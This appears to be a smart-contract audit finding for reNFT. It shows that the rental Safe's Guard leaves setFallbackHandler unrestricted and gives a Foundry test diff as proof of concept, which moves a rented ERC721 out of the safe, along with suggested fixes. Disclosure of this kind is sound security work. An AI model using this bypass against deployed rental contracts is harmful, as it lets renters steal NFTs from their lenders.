reNFT - Lirios's results

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Guard.sol#L195

Vulnerability details

Impact

A rental wallet is a Gnosis safe used to store the rented NFT assets. The Guard is set for these Safe contracts to prohibit the transfer or approval of tokens when there is an active rental. The Guard also resticts delegatecalls and calls to modify guards and modules.

The Guard however does not restrict modification of the fallback handler via setFallbackHandler(). This can be abused to transfer NFT tokens out of the safe, bypassing the Guard.

Proof of Concept

Bob rents an NFT and the NFT is transfered to bob's safe. It should not be possible for bob to take the NFT out of the safe while the rental is still active. Bob can set the NTF contract as the fallback handler of the safe. After doing that, all calls to unknown functions will be forwarded to the NFT contract via normal call. This means Bob can make calls like 'approve()', 'SafeTransferFrom()' and other restricted functions directly to the safe. These calls will then be forwarded as calls from the safe to the fallback/NFT contract.

Below a modificaton of the Rent test script to demonstrate how Bob can transfer his NFT out from the safe

/test/integration/Rent.t.sol

@@ -13,8 +13,13 @@ import {OrderType, OrderMetadata, RentalOrder} from "@src/libraries/RentalStruct

 import {BaseTest} from "@test/BaseTest.sol";
 import {ProtocolAccount} from "@test/utils/Types.sol";
+import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol";
+import {ISafe} from "@src/interfaces/ISafe.sol";
+import {IERC721} from "@openzeppelin-contracts/token/ERC721/IERC721.sol";
+

 contract TestRent is BaseTest {
+    function setFallbackHandler(address handler) public  { }
     function test_Success_Rent_BaseOrder_ERC721() public {
         // create a BASE order
         createOrder({


@@ -66,6 +71,32 @@ contract TestRent is BaseTest {

         // assert that the ERC721 is in the rental wallet of the fulfiller
         assertEq(erc721s[0].ownerOf(0), address(bob.safe));
+
+        // Set the ERC721 token address as fallbak handler.
+        // calling ERC721 functions on the safe, will forward these calls to the fallback.
+        // this alows us to make calls from the safew, directly to the token contract, bypassing the Guard
+        bytes memory Transaction = abi.encodeWithSelector(this.setFallbackHandler.selector, address(erc721s[0]));
+
+        // sign the safe transaction
+        bytes memory TransactionSignature = SafeUtils.signTransaction(
+            address(bob.safe),
+            bob.privateKey,
+            address(bob.safe),
+            Transaction
+        );
+
+        // executeTransaction to set the fallbackhandler to the erc721 token contract
+        SafeUtils.executeTransaction(
+            address(bob.safe),
+            address(bob.safe),
+            Transaction,
+            TransactionSignature
+        );
+        // we can now call token functins on the safe, which will be forwarded to the token
+        IERC721(address(bob.safe)).safeTransferFrom(address(bob.safe),address(bob.addr),0);
+
+        // Token is successfully transfered from safe to bob
+        assertEq(erc721s[0].ownerOf(0), address(bob.addr));
     }

     function test_Success_Rent_BaseOrder_ERC1155() public {

Recommended Mitigation Steps

The usage of setFallbackHandler should also be restrictd in the Guard. Either by setting the TokenCallbackHandler on safe creation and not allowing setFallbackHandler, or retricting the handlers to use in setFallbackHandler with an allowlist or SupportsInterface check to the fallback contract.

Assessed type

Token-Transfer